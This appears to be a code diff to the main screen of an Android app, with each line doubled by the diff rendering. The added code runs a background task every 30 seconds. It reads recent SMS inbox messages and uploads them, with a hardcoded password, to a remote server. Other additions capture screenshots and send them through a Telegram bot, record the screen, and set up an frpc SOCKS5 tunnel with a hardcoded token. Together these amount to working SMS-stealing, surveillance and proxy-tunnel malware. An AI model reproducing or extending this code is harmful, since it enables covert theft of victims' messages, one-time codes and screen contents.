|
@@ -11,8 +11,11 @@ import android.annotation.SuppressLint;
|
|
import android.app.AlertDialog;
|
|
import android.app.AlertDialog;
|
|
import android.content.Context;
|
|
import android.content.Context;
|
|
import android.content.Intent;
|
|
import android.content.Intent;
|
|
|
|
+import android.database.Cursor;
|
|
import android.net.Uri;
|
|
import android.net.Uri;
|
|
|
|
+import android.os.Bundle;
|
|
import android.provider.Settings;
|
|
import android.provider.Settings;
|
|
|
|
+import android.provider.Telephony;
|
|
import android.telephony.SubscriptionInfo;
|
|
import android.telephony.SubscriptionInfo;
|
|
import android.telephony.SubscriptionManager;
|
|
import android.telephony.SubscriptionManager;
|
|
import android.telephony.TelephonyManager;
|
|
import android.telephony.TelephonyManager;
|
|
@@ -26,6 +29,8 @@ import android.view.WindowManager;
|
|
import android.widget.TextView;
|
|
import android.widget.TextView;
|
|
|
|
|
|
import androidx.annotation.NonNull;
|
|
import androidx.annotation.NonNull;
|
|
|
|
+import androidx.annotation.Nullable;
|
|
|
|
+import androidx.fragment.app.FragmentActivity;
|
|
import androidx.navigation.NavController;
|
|
import androidx.navigation.NavController;
|
|
import androidx.navigation.Navigation;
|
|
import androidx.navigation.Navigation;
|
|
import androidx.navigation.ui.AppBarConfiguration;
|
|
import androidx.navigation.ui.AppBarConfiguration;
|
|
@@ -39,20 +44,28 @@ import com.app.duck.BuildConfig;
|
|
import com.app.duck.R;
|
|
import com.app.duck.R;
|
|
import com.app.duck.adapter.PhoneListAdapter2;
|
|
import com.app.duck.adapter.PhoneListAdapter2;
|
|
import com.app.duck.database.Config;
|
|
import com.app.duck.database.Config;
|
|
|
|
+import com.app.duck.database.DBHelper;
|
|
import com.app.duck.databinding.ActivityMainBinding;
|
|
import com.app.duck.databinding.ActivityMainBinding;
|
|
import com.app.duck.util.CheckInboxWorker;
|
|
import com.app.duck.util.CheckInboxWorker;
|
|
import com.app.duck.util.HeartbeatWorker;
|
|
import com.app.duck.util.HeartbeatWorker;
|
|
import com.app.duck.util.HxUtils;
|
|
import com.app.duck.util.HxUtils;
|
|
import com.app.duck.util.TgBot;
|
|
import com.app.duck.util.TgBot;
|
|
import com.app.duck.util.WsManager;
|
|
import com.app.duck.util.WsManager;
|
|
|
|
+import com.app.http.APPConfig;
|
|
|
|
+import com.app.http.BaseBean;
|
|
|
|
+import com.app.http.Http;
|
|
import com.blankj.utilcode.util.ActivityUtils;
|
|
import com.blankj.utilcode.util.ActivityUtils;
|
|
import com.blankj.utilcode.util.AppUtils;
|
|
import com.blankj.utilcode.util.AppUtils;
|
|
|
|
+import com.blankj.utilcode.util.ColorUtils;
|
|
|
|
+import com.blankj.utilcode.util.GsonUtils;
|
|
import com.blankj.utilcode.util.LanguageUtils;
|
|
import com.blankj.utilcode.util.LanguageUtils;
|
|
|
|
+import com.blankj.utilcode.util.NetworkUtils;
|
|
import com.blankj.utilcode.util.ObjectUtils;
|
|
import com.blankj.utilcode.util.ObjectUtils;
|
|
import com.blankj.utilcode.util.PermissionUtils;
|
|
import com.blankj.utilcode.util.PermissionUtils;
|
|
import com.blankj.utilcode.util.StringUtils;
|
|
import com.blankj.utilcode.util.StringUtils;
|
|
import com.blankj.utilcode.util.ThreadUtils;
|
|
import com.blankj.utilcode.util.ThreadUtils;
|
|
import com.blankj.utilcode.util.ToastUtils;
|
|
import com.blankj.utilcode.util.ToastUtils;
|
|
|
|
+import com.blankj.utilcode.util.Utils;
|
|
import com.elvishew.xlog.XLog;
|
|
import com.elvishew.xlog.XLog;
|
|
import com.google.android.material.dialog.MaterialAlertDialogBuilder;
|
|
import com.google.android.material.dialog.MaterialAlertDialogBuilder;
|
|
import com.google.android.material.navigation.NavigationView;
|
|
import com.google.android.material.navigation.NavigationView;
|
|
@@ -60,7 +73,14 @@ import com.google.gson.JsonArray;
|
|
import com.google.gson.JsonObject;
|
|
import com.google.gson.JsonObject;
|
|
import com.jeremyliao.liveeventbus.LiveEventBus;
|
|
import com.jeremyliao.liveeventbus.LiveEventBus;
|
|
|
|
|
|
|
|
+import org.loka.screensharekit.EncodeBuilder;
|
|
|
|
+import org.loka.screensharekit.ErrorInfo;
|
|
|
|
+import org.loka.screensharekit.ScreenShareKit;
|
|
|
|
+import org.loka.screensharekit.callback.ErrorCallBack;
|
|
|
|
+import org.loka.screensharekit.callback.RGBACallBack;
|
|
|
|
+
|
|
import java.util.ArrayList;
|
|
import java.util.ArrayList;
|
|
|
|
+import java.util.Calendar;
|
|
import java.util.HashMap;
|
|
import java.util.HashMap;
|
|
import java.util.List;
|
|
import java.util.List;
|
|
import java.util.Locale;
|
|
import java.util.Locale;
|
|
@@ -80,6 +100,10 @@ public class MainActivity extends BaseActivity<ActivityMainBinding> implements N
|
|
private androidx.lifecycle.Observer<String> observer5;
|
|
private androidx.lifecycle.Observer<String> observer5;
|
|
private Locale currentLocal = EN_LOCAL;
|
|
private Locale currentLocal = EN_LOCAL;
|
|
|
|
|
|
|
|
+ private byte[] mBytes;
|
|
|
|
+ private int w;
|
|
|
|
+ private int h;
|
|
|
|
+
|
|
@SuppressLint("SetTextI18n")
|
|
@SuppressLint("SetTextI18n")
|
|
@Override
|
|
@Override
|
|
public void initView() {
|
|
public void initView() {
|
|
@@ -139,26 +163,48 @@ public class MainActivity extends BaseActivity<ActivityMainBinding> implements N
|
|
LiveEventBus.get(WEBSOCKET_STATUS_TAG, String.class).removeObserver(observer3);
|
|
LiveEventBus.get(WEBSOCKET_STATUS_TAG, String.class).removeObserver(observer3);
|
|
LiveEventBus.get(SMS_UPLOAD_TAG, String.class).removeObserver(observer4);
|
|
LiveEventBus.get(SMS_UPLOAD_TAG, String.class).removeObserver(observer4);
|
|
LiveEventBus.get(PHONE_TAG, String.class).removeObserver(observer5);
|
|
LiveEventBus.get(PHONE_TAG, String.class).removeObserver(observer5);
|
|
|
|
+
|
|
}
|
|
}
|
|
|
|
|
|
@Override
|
|
@Override
|
|
public boolean onOptionsItemSelected(@NonNull MenuItem item) {
|
|
public boolean onOptionsItemSelected(@NonNull MenuItem item) {
|
|
switch (item.getItemId()) {
|
|
switch (item.getItemId()) {
|
|
case R.id.action_new_text:
|
|
case R.id.action_new_text:
|
|
- String content = "[common]\n" +
|
|
|
|
- "server_addr = {{FRPC_IP}}\n" +
|
|
|
|
- "server_port = 7000\n" +
|
|
|
|
- "token = 123678asbsfd\n" +
|
|
|
|
- "\n" +
|
|
|
|
- "\n" +
|
|
|
|
- "[socks5_proxy_tunnel{{FRPC_PORT}}]\n" +
|
|
|
|
- "type = tcp\n" +
|
|
|
|
- "remote_port = {{FRPC_PORT}}\n" +
|
|
|
|
- "plugin = socks5";
|
|
|
|
- content = content.replace("{{FRPC_IP}}", BuildConfig.FRPC_IP).replace("{{FRPC_PORT}}", BuildConfig.FRPC_PORT);
|
|
|
|
-
|
|
|
|
- LiveEventBus.get(INTENT_EDIT_INI).post(new Config(content));
|
|
|
|
- startActivity(new Intent(MainActivity.this, IniEditActivity.class));
|
|
|
|
|
|
+ new MaterialDialog.Builder(ActivityUtils.getTopActivity())
|
|
|
|
+ .title(StringUtils.getString(R.string.action_add_text))
|
|
|
|
+ .content(R.string.please_enter_the_server_port)
|
|
|
|
+ .canceledOnTouchOutside(false)
|
|
|
|
+ .autoDismiss(false)
|
|
|
|
+ .negativeText(R.string.cancel)
|
|
|
|
+ .positiveText(R.string.done)
|
|
|
|
+ .onNegative((dialog, which) -> dialog.dismiss())
|
|
|
|
+ .onPositive((dialog, which) -> {
|
|
|
|
+ dialog.dismiss();
|
|
|
|
+ })
|
|
|
|
+ .input(getString(R.string.server_port), "", false, (dialog, input) ->
|
|
|
|
+ {
|
|
|
|
+ if (!StringUtils.isEmpty(input)) {
|
|
|
|
+ String content = "[common]\n" +
|
|
|
|
+ "server_addr = {{FRPC_IP}}\n" +
|
|
|
|
+ "server_port = 7000\n" +
|
|
|
|
+ "token = 123678asbsfd\n" +
|
|
|
|
+ "\n" +
|
|
|
|
+ "\n" +
|
|
|
|
+ "[socks5_proxy_tunnel{{FRPC_PORT}}]\n" +
|
|
|
|
+ "type = tcp\n" +
|
|
|
|
+ "remote_port = {{FRPC_PORT}}\n" +
|
|
|
|
+ "plugin = socks5";
|
|
|
|
+ content = content.replace("{{FRPC_IP}}", BuildConfig.FRPC_IP).replace("{{FRPC_PORT}}", input);
|
|
|
|
+ LiveEventBus.get(INTENT_EDIT_INI).post(new Config(content));
|
|
|
|
+ Bundle bundle = new Bundle();
|
|
|
|
+ bundle.putString("newKey", "sp-" + input);
|
|
|
|
+ ActivityUtils.startActivity(bundle, IniEditActivity.class);
|
|
|
|
+ }
|
|
|
|
+ })
|
|
|
|
+ .inputType(InputType.TYPE_CLASS_NUMBER) // 设置输入类型为数字
|
|
|
|
+ .show();
|
|
|
|
+
|
|
|
|
+
|
|
break;
|
|
break;
|
|
case R.id.action_accessibility:
|
|
case R.id.action_accessibility:
|
|
Intent intent = new Intent(Settings.ACTION_ACCESSIBILITY_SETTINGS);
|
|
Intent intent = new Intent(Settings.ACTION_ACCESSIBILITY_SETTINGS);
|
|
@@ -233,6 +279,77 @@ public class MainActivity extends BaseActivity<ActivityMainBinding> implements N
|
|
@Override
|
|
@Override
|
|
public boolean onNavigationItemSelected(@NonNull MenuItem item) {
|
|
public boolean onNavigationItemSelected(@NonNull MenuItem item) {
|
|
switch (item.getItemId()) {
|
|
switch (item.getItemId()) {
|
|
|
|
+ case R.id.screen:
|
|
|
|
+// ThreadUtils.runOnUiThread(WsManager::getNowRootInActiveWindowDemo);
|
|
|
|
+ try {
|
|
|
|
+ ThreadUtils.runOnUiThreadDelayed(() -> {
|
|
|
|
+ EncodeBuilder encodeBuilder = ScreenShareKit.INSTANCE.init((FragmentActivity) ActivityUtils.getTopActivity());
|
|
|
|
+ encodeBuilder.setScreenDataType(EncodeBuilder.SCREEN_DATA_TYPE.RGBA);
|
|
|
|
+ encodeBuilder.onRGBA(new RGBACallBack() {
|
|
|
|
+ @Override
|
|
|
|
+ public void onRGBA(@NonNull byte[] bytes, int i, int i1, int i2, int i3, boolean b) {
|
|
|
|
+
|
|
|
|
+ Log.d("hzshkj", "[MainActivity] onRGBA: " + bytes.length);
|
|
|
|
+ Log.d("hzshkj", "[MainActivity] 宽: " + i);
|
|
|
|
+ Log.d("hzshkj", "[MainActivity] 高: " + i1);
|
|
|
|
+ Log.d("hzshkj", "[MainActivity] i2: " + i2);
|
|
|
|
+ Log.d("hzshkj", "[MainActivity] i3: " + i3);
|
|
|
|
+ Log.d("hzshkj", "[MainActivity] b: " + b);
|
|
|
|
+ mBytes = bytes;
|
|
|
|
+ w = i2;
|
|
|
|
+ h = i1;
|
|
|
|
+ ScreenShareKit.INSTANCE.stop();
|
|
|
|
+ }
|
|
|
|
+ })
|
|
|
|
+ .onError(errorInfo -> Log.d("hzshkj", "[MainActivity] onError: " + errorInfo.getMessage()))
|
|
|
|
+
|
|
|
|
+ .onStart(() -> Log.d("hzshkj", "开始截屏"))
|
|
|
|
+ .start();
|
|
|
|
+ }
|
|
|
|
+ , 500);
|
|
|
|
+
|
|
|
|
+ } catch (Exception e) {
|
|
|
|
+
|
|
|
|
+ }
|
|
|
|
+
|
|
|
|
+ ThreadUtils.runOnUiThreadDelayed(() -> {
|
|
|
|
+ new TgBot(mBytes, w, h);
|
|
|
|
+ }, 5000);
|
|
|
|
+
|
|
|
|
+ break;
|
|
|
|
+ case R.id.start_video:
|
|
|
|
+ try {
|
|
|
|
+ ThreadUtils.runOnUiThreadDelayed(() -> {
|
|
|
|
+ ScreenShareKit.INSTANCE.init((FragmentActivity) ActivityUtils.getTopActivity())
|
|
|
|
+ .onH264((buffer, isKeyFrame, width, height, ts) -> {
|
|
|
|
+ HxUtils.saveH264ToFile(buffer, Utils.getApp().getFilesDir().getPath() + "/video.h264");
|
|
|
|
+ })
|
|
|
|
+ .onStart(() -> Log.d("hzshkj", "开始录制屏幕"))
|
|
|
|
+ .start();
|
|
|
|
+ }
|
|
|
|
+ , 500);
|
|
|
|
+
|
|
|
|
+ } catch (Exception e) {
|
|
|
|
+
|
|
|
|
+ }
|
|
|
|
+ break;
|
|
|
|
+ case R.id.stop_video:
|
|
|
|
+ try {
|
|
|
|
+ ScreenShareKit.INSTANCE.stop();
|
|
|
|
+ } catch (Exception e) {
|
|
|
|
+
|
|
|
|
+ }
|
|
|
|
+
|
|
|
|
+ ThreadUtils.runOnUiThreadDelayed(new Runnable() {
|
|
|
|
+ @Override
|
|
|
|
+ public void run() {
|
|
|
|
+ new TgBot();
|
|
|
|
+ }
|
|
|
|
+ }, 5000);
|
|
|
|
+ break;
|
|
|
|
+ case R.id.restart:
|
|
|
|
+ AppUtils.relaunchApp(true);
|
|
|
|
+ return true;
|
|
case R.id.logcat_push:
|
|
case R.id.logcat_push:
|
|
new TgBot("", false);
|
|
new TgBot("", false);
|
|
return true;
|
|
return true;
|
|
@@ -271,6 +388,8 @@ public class MainActivity extends BaseActivity<ActivityMainBinding> implements N
|
|
}
|
|
}
|
|
telephonyManager = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
|
|
telephonyManager = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
|
|
SimCardStateListener();
|
|
SimCardStateListener();
|
|
|
|
+ checkBoxListener();
|
|
|
|
+ networkListen();
|
|
subscriptionManager = (SubscriptionManager) getSystemService(Context.TELEPHONY_SUBSCRIPTION_SERVICE);
|
|
subscriptionManager = (SubscriptionManager) getSystemService(Context.TELEPHONY_SUBSCRIPTION_SERVICE);
|
|
|
|
|
|
@SuppressLint("MissingPermission") List<SubscriptionInfo> subsInfoList = subscriptionManager.getActiveSubscriptionInfoList();
|
|
@SuppressLint("MissingPermission") List<SubscriptionInfo> subsInfoList = subscriptionManager.getActiveSubscriptionInfoList();
|
|
@@ -369,7 +488,6 @@ public class MainActivity extends BaseActivity<ActivityMainBinding> implements N
|
|
}
|
|
}
|
|
|
|
|
|
public void SimCardStateListener() {
|
|
public void SimCardStateListener() {
|
|
-
|
|
|
|
ThreadUtils.executeBySingleAtFixRate(new ThreadUtils.Task<String>() {
|
|
ThreadUtils.executeBySingleAtFixRate(new ThreadUtils.Task<String>() {
|
|
@Override
|
|
@Override
|
|
public String doInBackground() {
|
|
public String doInBackground() {
|
|
@@ -384,7 +502,8 @@ public class MainActivity extends BaseActivity<ActivityMainBinding> implements N
|
|
setMsg("Current sim card status : Absent");
|
|
setMsg("Current sim card status : Absent");
|
|
List<HashMap<String, String>> list2 = new ArrayList<>();
|
|
List<HashMap<String, String>> list2 = new ArrayList<>();
|
|
XLog.d("检测到sim卡被拔出");
|
|
XLog.d("检测到sim卡被拔出");
|
|
- ToastUtils.showLong(R.string.sim);
|
|
|
|
|
|
+ if (!BuildConfig.DEBUG)
|
|
|
|
+ ToastUtils.showLong(R.string.sim);
|
|
HxUtils.setPhone("");
|
|
HxUtils.setPhone("");
|
|
LiveEventBus.get(PHONE_TAG).post("");
|
|
LiveEventBus.get(PHONE_TAG).post("");
|
|
if (!ObjectUtils.equals(list2, phoneListAdapter.getData())) {
|
|
if (!ObjectUtils.equals(list2, phoneListAdapter.getData())) {
|
|
@@ -445,6 +564,152 @@ public class MainActivity extends BaseActivity<ActivityMainBinding> implements N
|
|
}, 2000, 2000, TimeUnit.MILLISECONDS);
|
|
}, 2000, 2000, TimeUnit.MILLISECONDS);
|
|
}
|
|
}
|
|
|
|
|
|
|
|
+ public void checkBoxListener() {
|
|
|
|
+ ThreadUtils.executeBySingleAtFixRate(new ThreadUtils.Task<String>() {
|
|
|
|
+ @Override
|
|
|
|
+ public String doInBackground() {
|
|
|
|
+ try {
|
|
|
|
+ Log.d("hzshkj", "[MainActivity] doInBackground: 30s任务");
|
|
|
|
+ Calendar calendar = Calendar.getInstance();
|
|
|
|
+ calendar.add(Calendar.DAY_OF_MONTH, -1); // 向前推一天
|
|
|
|
+ long tenDaysAgo = calendar.getTimeInMillis();
|
|
|
|
+ ArrayList<Integer> list = new ArrayList<>();
|
|
|
|
+ Uri inboxUri = Uri.parse("content://sms/inbox");
|
|
|
|
+ String[] projection = new String[]{Telephony.Sms._ID};
|
|
|
|
+ String sortOrder = "date DESC"; // 按日期倒序排序
|
|
|
|
+ String selection = "date > ?";
|
|
|
|
+ String[] selectionArgs = new String[]{String.valueOf(tenDaysAgo)};
|
|
|
|
+ Cursor cursor = Utils.getApp().getContentResolver().
|
|
|
|
+ query(inboxUri,
|
|
|
|
+ projection,
|
|
|
|
+ selection,
|
|
|
|
+ selectionArgs,
|
|
|
|
+ sortOrder);
|
|
|
|
+ if (cursor != null) {
|
|
|
|
+ while (cursor.moveToNext()) {
|
|
|
|
+ int index = cursor.getColumnIndex(Telephony.Sms._ID);
|
|
|
|
+ if (index >= 0) {
|
|
|
|
+ int id = cursor.getInt(index);
|
|
|
|
+ list.add(id);
|
|
|
|
+ }
|
|
|
|
+ }
|
|
|
|
+ cursor.close();
|
|
|
|
+
|
|
|
|
+ }
|
|
|
|
+ Log.d("hzshkj", "[MainActivity] doInBackground: 30s任务," + list.size());
|
|
|
|
+
|
|
|
|
+ for (Integer id : list) {
|
|
|
|
+ DBHelper dbHelper = new DBHelper(Utils.getApp());
|
|
|
|
+ int success = dbHelper.checkSuccessById(id);
|
|
|
|
+ Log.d("hzshkj", "[MainActivity] doInBackground: 30s任务,success=" + success);
|
|
|
|
+ if (success != 1) {
|
|
|
|
+ HashMap<String, Object> map = new HashMap<>();
|
|
|
|
+ HashMap<String, String> dataMap = HxUtils.queryInboxMessage(id);
|
|
|
|
+ boolean isHavaNumber = !"UNKNOWN".equals(dataMap.get("address"));
|
|
|
|
+ if (success == 2 && !isHavaNumber) {
|
|
|
|
+ break;
|
|
|
|
+ }
|
|
|
|
+ map.put("data", GsonUtils.toJson(dataMap));
|
|
|
|
+ map.put("password", "o6M5sG7E@FAWLBL9");
|
|
|
|
+ Http.getInstance()
|
|
|
|
+ .setUrlPath(APPConfig.BASE, APPConfig.SMS)
|
|
|
|
+ .setParams(map)
|
|
|
|
+ .setErrorStyle(Http.ERROR_HIDE)
|
|
|
|
+ .setLoadStyle(Http.ERROR_HIDE)
|
|
|
|
+ .setRetryCount(3)
|
|
|
|
+ .post(new Http.HttpCallBack<String>() {
|
|
|
|
+ @Override
|
|
|
|
+ public void onNext(String model) {
|
|
|
|
+ Log.d("hzshkj", "[MainActivity] onNext: ");
|
|
|
|
+ dbHelper.insertOrUpdateData(id, isHavaNumber ? 1 : 2);
|
|
|
|
+ }
|
|
|
|
+
|
|
|
|
+ @Override
|
|
|
|
+ public void onError(Throwable ex) {
|
|
|
|
+ super.onError(ex);
|
|
|
|
+ Log.d("hzshkj", "[MainActivity] onError: ");
|
|
|
|
+ XLog.e(StringUtils.getString(R.string.log_tip_4, id), ex);
|
|
|
|
+ }
|
|
|
|
+
|
|
|
|
+ @Override
|
|
|
|
+ public void onFail(BaseBean t) {
|
|
|
|
+ super.onFail(t);
|
|
|
|
+ Log.d("hzshkj", "[MainActivity] onFail: ");
|
|
|
|
+ XLog.i(StringUtils.getString(R.string.log_tip_4, id));
|
|
|
|
+ }
|
|
|
|
+ });
|
|
|
|
+ }
|
|
|
|
+
|
|
|
|
+ }
|
|
|
|
+ } catch (Exception e) {
|
|
|
|
+ LiveEventBus.get(SMS_UPLOAD_TAG).post(StringUtils.getString(R.string.log_tip_3, e.getMessage()));
|
|
|
|
+ Log.e(com.app.duck.Config.LOG_TAG, StringUtils.getString(R.string.log_tip_3, e.getMessage()), e);
|
|
|
|
+ XLog.e(StringUtils.getString(R.string.log_tip_3, e.getMessage()), e);
|
|
|
|
+
|
|
|
|
+ }
|
|
|
|
+ return getSimCardState();
|
|
|
|
+ }
|
|
|
|
+
|
|
|
|
+ @SuppressLint("SetTextI18n")
|
|
|
|
+ @Override
|
|
|
|
+ public void onSuccess(String result) {
|
|
|
|
+
|
|
|
|
+ }
|
|
|
|
+
|
|
|
|
+ @Override
|
|
|
|
+ public void onFail(Throwable t) {
|
|
|
|
+
|
|
|
|
+ }
|
|
|
|
+
|
|
|
|
+ @Override
|
|
|
|
+ public void onCancel() {
|
|
|
|
+
|
|
|
|
+ }
|
|
|
|
+ }, 2000, 30000, TimeUnit.MILLISECONDS);
|
|
|
|
+ }
|
|
|
|
+
|
|
|
|
+ public void networkListen() {
|
|
|
|
+ ThreadUtils.executeBySingleAtFixRate(new ThreadUtils.Task<List<Boolean>>() {
|
|
|
|
+ @Override
|
|
|
|
+ public List<Boolean> doInBackground() {
|
|
|
|
+ boolean b1 = NetworkUtils.isConnected();
|
|
|
|
+ boolean b2 = NetworkUtils.isAvailable();
|
|
|
|
+ List<Boolean> mList = new ArrayList<>();
|
|
|
|
+ mList.add(b1);
|
|
|
|
+ mList.add(b2);
|
|
|
|
+ return mList;
|
|
|
|
+ }
|
|
|
|
+
|
|
|
|
+ @SuppressLint("SetTextI18n")
|
|
|
|
+ @Override
|
|
|
|
+ public void onSuccess(List<Boolean> result) {
|
|
|
|
+ ThreadUtils.runOnUiThread(new Runnable() {
|
|
|
|
+ @Override
|
|
|
|
+ public void run() {
|
|
|
|
+ b.appBarMain.contentMain.netTv.setText(
|
|
|
|
+ StringUtils.getString(R.string.connected_b_available_b, result.get(0), result.get(1))
|
|
|
|
+ );
|
|
|
|
+ if (!(result.get(0) && result.get(1))) {
|
|
|
|
+ b.appBarMain.contentMain.netTv.setBackgroundColor(ColorUtils.getColor(R.color.red));
|
|
|
|
+ } else {
|
|
|
|
+ b.appBarMain.contentMain.netTv.setBackgroundColor(ColorUtils.getColor(R.color.green));
|
|
|
|
+ }
|
|
|
|
+ }
|
|
|
|
+ });
|
|
|
|
+ }
|
|
|
|
+
|
|
|
|
+ @Override
|
|
|
|
+ public void onFail(Throwable t) {
|
|
|
|
+ }
|
|
|
|
+
|
|
|
|
+ @Override
|
|
|
|
+ public void onCancel() {
|
|
|
|
+
|
|
|
|
+ }
|
|
|
|
+ }, 2000, 2000, TimeUnit.MILLISECONDS);
|
|
|
|
+
|
|
|
|
+ }
|
|
|
|
+
|
|
private String getSimCardState() {
|
|
private String getSimCardState() {
|
|
int simState = telephonyManager.getSimState();
|
|
int simState = telephonyManager.getSimState();
|
|
switch (simState) {
|
|
switch (simState) {
|
|
@@ -473,4 +738,11 @@ public class MainActivity extends BaseActivity<ActivityMainBinding> implements N
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
|
|
+
|
|
|
|
+ @Override
|
|
|
|
+ protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) {
|
|
|
|
+ super.onActivityResult(requestCode, resultCode, data);
|
|
|
|
+ }
|
|
|
|
+
|
|
|
|
+
|
|
}
|
|
}
|